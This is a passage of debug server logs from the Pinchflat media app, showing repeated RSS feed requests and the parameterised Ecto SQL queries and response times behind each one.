((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [11, 2000] 16:08:00.823 [debug] QUERY OK source="source_metadata" db=0.1ms idle=605.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [11] 16:08:00.823 [debug] QUERY OK source="media_metadata" db=0.0ms idle=605.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563739] 16:08:00.826 [info] Sent 200 in 37ms 16:08:00.998 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:08:01.591 [info] GET /sources/064999f2-9abb-45b5-9ea9-dd6f79a26a8a/feed.xml 16:08:01.591 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "064999f2-9abb-45b5-9ea9-dd6f79a26a8a"} Pipelines: [:maybe_basic_auth] 16:08:01.591 [debug] QUERY OK source="sources" db=0.2ms idle=797.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["064999f2-9abb-45b5-9ea9-dd6f79a26a8a"] 16:08:01.609 [debug] QUERY OK source="media_items" db=17.7ms idle=795.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [40, 2000] 16:08:01.679 [debug] QUERY OK source="source_metadata" db=0.0ms idle=856.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [40] 16:08:01.680 [debug] QUERY OK source="media_metadata" db=0.0ms idle=856.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564166] 16:08:01.684 [info] Sent 200 in 92ms 16:08:01.919 [info] GET /sources/83ea5afa-eeae-4556-963d-77f17fc65947/feed.xml 16:08:01.920 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "83ea5afa-eeae-4556-963d-77f17fc65947"} Pipelines: [:maybe_basic_auth] 16:08:01.920 [debug] QUERY OK source="sources" db=0.1ms idle=328.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["83ea5afa-eeae-4556-963d-77f17fc65947"] 16:08:01.921 [debug] QUERY OK source="media_items" db=0.7ms idle=310.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [18, 2000] 16:08:01.921 [debug] QUERY OK source="source_metadata" db=0.0ms idle=241.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [18] 16:08:01.921 [info] Sent 200 in 1ms 16:08:02.857 [info] GET /sources/1b5043dd-323a-4290-b9d6-fcb820d902a3/feed.xml 16:08:02.857 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "1b5043dd-323a-4290-b9d6-fcb820d902a3"} Pipelines: [:maybe_basic_auth] 16:08:02.857 [debug] QUERY OK source="sources" db=0.1ms idle=1062.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["1b5043dd-323a-4290-b9d6-fcb820d902a3"] 16:08:02.860 [debug] QUERY OK source="media_items" db=2.2ms idle=937.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [2, 2000] 16:08:02.861 [debug] QUERY OK source="source_metadata" db=0.0ms idle=940.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [2] 16:08:02.861 [debug] QUERY OK source="media_metadata" db=0.0ms idle=940.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564181] 16:08:02.861 [info] Sent 200 in 4ms 16:08:03.081 [info] GET /sources/93352545-e4c8-4fef-be42-ab095b3fa128/feed.xml 16:08:03.081 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "93352545-e4c8-4fef-be42-ab095b3fa128"} Pipelines: [:maybe_basic_auth] 16:08:03.081 [debug] QUERY OK source="sources" db=0.2ms idle=285.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["93352545-e4c8-4fef-be42-ab095b3fa128"] 16:08:03.084 [debug] QUERY OK source="media_items" db=2.3ms idle=223.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [41, 2000] 16:08:03.095 [debug] QUERY OK source="source_metadata" db=0.1ms idle=234.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [41] 16:08:03.095 [debug] QUERY OK source="media_metadata" db=0.0ms idle=233.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564177] 16:08:03.095 [info] Sent 200 in 14ms 16:08:03.381 [info] GET /sources/a9100910-ac63-4f4f-8bb2-2a507e1563c7/feed.xml 16:08:03.381 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "a9100910-ac63-4f4f-8bb2-2a507e1563c7"} Pipelines: [:maybe_basic_auth] 16:08:03.381 [debug] QUERY OK source="sources" db=0.1ms idle=519.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["a9100910-ac63-4f4f-8bb2-2a507e1563c7"] 16:08:03.391 [debug] QUERY OK source="media_items" db=9.1ms idle=300.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [38, 2000] 16:08:03.446 [debug] QUERY OK source="source_metadata" db=0.1ms idle=362.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [38] 16:08:03.447 [debug] QUERY OK source="media_metadata" db=0.0ms idle=351.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564174] 16:08:03.448 [info] Sent 200 in 66ms 16:08:03.582 [info] GET /sources/7334e781-b0a6-4db9-a6e2-06f74270b45f/feed.xml 16:08:03.582 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "7334e781-b0a6-4db9-a6e2-06f74270b45f"} Pipelines: [:maybe_basic_auth] 16:08:03.583 [debug] QUERY OK source="sources" db=0.2ms idle=487.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["7334e781-b0a6-4db9-a6e2-06f74270b45f"] 16:08:03.583 [debug] QUERY OK source="media_items" db=0.2ms idle=201.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [17, 2000] 16:08:03.583 [debug] QUERY OK source="source_metadata" db=0.0ms idle=192.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [17] 16:08:03.584 [info] Sent 200 in 1ms 16:08:04.511 [info] GET /sources/af8ae607-b597-44e3-a119-63d1ea29b14d/feed.xml 16:08:04.511 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "af8ae607-b597-44e3-a119-63d1ea29b14d"} Pipelines: [:maybe_basic_auth] 16:08:04.511 [debug] QUERY OK source="sources" db=0.1ms idle=1064.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["af8ae607-b597-44e3-a119-63d1ea29b14d"] 16:08:04.520 [debug] QUERY OK source="media_items" db=7.9ms idle=928.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [32, 2000] 16:08:04.550 [debug] QUERY OK source="source_metadata" db=0.0ms idle=966.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [32] 16:08:04.550 [debug] QUERY OK source="media_metadata" db=0.0ms idle=966.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563846] 16:08:04.554 [info] Sent 200 in 43ms 16:08:06.256 [info] GET /sources/7eb49f00-7df6-4cda-b867-301266b38336/feed.xml 16:08:06.256 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "7eb49f00-7df6-4cda-b867-301266b38336"} Pipelines: [:maybe_basic_auth] 16:08:06.257 [debug] QUERY OK source="sources" db=0.1ms idle=458.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["7eb49f00-7df6-4cda-b867-301266b38336"] 16:08:06.259 [debug] QUERY OK source="media_items" db=2.5ms idle=379.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [3, 2000] 16:08:06.274 [debug] QUERY OK source="source_metadata" db=0.0ms idle=395.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [3] 16:08:06.274 [debug] QUERY OK source="media_metadata" db=0.0ms idle=396.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563693] 16:08:06.274 [info] Sent 200 in 18ms 16:08:06.488 [info] GET /sources/03326ffe-bc9f-49e9-b871-f1a05c201b77/feed.xml 16:08:06.488 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "03326ffe-bc9f-49e9-b871-f1a05c201b77"} Pipelines: [:maybe_basic_auth] 16:08:06.488 [debug] QUERY OK source="sources" db=0.1ms idle=610.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["03326ffe-bc9f-49e9-b871-f1a05c201b77"] 16:08:06.489 [debug] QUERY OK source="media_items" db=0.4ms idle=231.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [20, 2000] 16:08:06.489 [debug] QUERY OK source="source_metadata" db=0.0ms idle=229.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [20] 16:08:06.489 [debug] QUERY OK source="media_metadata" db=0.0ms idle=215.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564176] 16:08:06.489 [info] Sent 200 in 1ms 16:08:06.843 [info] GET /sources/ddb05a95-3284-467b-8e82-eb2e6e446d3c/feed.xml 16:08:06.843 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "ddb05a95-3284-467b-8e82-eb2e6e446d3c"} Pipelines: [:maybe_basic_auth] 16:08:06.844 [debug] QUERY OK source="sources" db=0.1ms idle=355.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["ddb05a95-3284-467b-8e82-eb2e6e446d3c"] 16:08:06.845 [debug] QUERY OK source="media_items" db=1.2ms idle=355.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [25, 2000] 16:08:06.846 [debug] QUERY OK source="source_metadata" db=0.0ms idle=357.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [25] 16:08:06.846 [debug] QUERY OK source="media_metadata" db=0.0ms idle=356.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564178] 16:08:06.846 [info] Sent 200 in 3ms 16:08:07.418 [info] GET /sources/54410283-ff90-408b-84a6-9b0f438201ec/feed.xml 16:08:07.418 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "54410283-ff90-408b-84a6-9b0f438201ec"} Pipelines: [:maybe_basic_auth] 16:08:07.418 [debug] QUERY OK source="sources" db=0.1ms idle=618.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["54410283-ff90-408b-84a6-9b0f438201ec"] 16:08:07.422 [debug] QUERY OK source="media_items" db=3.3ms idle=574.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [27, 2000] 16:08:07.438 [debug] QUERY OK source="source_metadata" db=0.0ms queue=0.2ms idle=592.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [27] 16:08:07.438 [debug] QUERY OK source="media_metadata" db=0.0ms idle=591.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563676] 16:08:07.438 [info] Sent 200 in 20ms 16:08:08.603 [info] GET /sources/9780c114-461c-46c1-8ce2-ab0b457f4920/feed.xml 16:08:08.603 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "9780c114-461c-46c1-8ce2-ab0b457f4920"} Pipelines: [:maybe_basic_auth] 16:08:08.604 [debug] QUERY OK source="sources" db=0.2ms idle=1185.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["9780c114-461c-46c1-8ce2-ab0b457f4920"] 16:08:08.606 [debug] QUERY OK source="media_items" db=2.3ms idle=1182.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [9, 2000] 16:08:08.615 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1177.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [9] 16:08:08.615 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1177.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", 